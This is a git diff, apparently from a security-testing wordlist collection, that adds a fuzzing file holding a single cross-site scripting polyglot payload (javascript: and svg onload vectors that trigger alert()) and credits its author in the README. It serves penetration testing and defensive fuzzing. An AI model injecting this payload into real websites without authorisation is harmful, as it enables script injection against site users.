diff --git a/Fuzzing/0xsobky-UltimateXSSPolyglot.txt b/Fuzzing/0xsobky-UltimateXSSPolyglot.txt
new file mode 100644
index 00000000..907cb73c
--- /dev/null
+++ b/Fuzzing/0xsobky-UltimateXSSPolyglot.txt
@@ -0,0 +1 @@
+jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e
diff --git a/README.md b/README.md
index 01de8dae..7c6f414a 100755
--- a/README.md
+++ b/README.md
@@ -39,5 +39,6 @@ Significant effort is made to give attribution for these lists whenever possible
 - Thanks to Liam Somerville for the excellent list of default passwords
 - Great thanks to Michael Hendriksen for allowing us to include his Gitrob project's signatures 
 - Honored to have @Brutelogic's brilliant XSS Cheatsheet added to the Fuzzing section!
+- Added 0xsobky's Ultimate XSS Polyglot!
 
 This project stays great because of care and love from the community, and we will never forget that.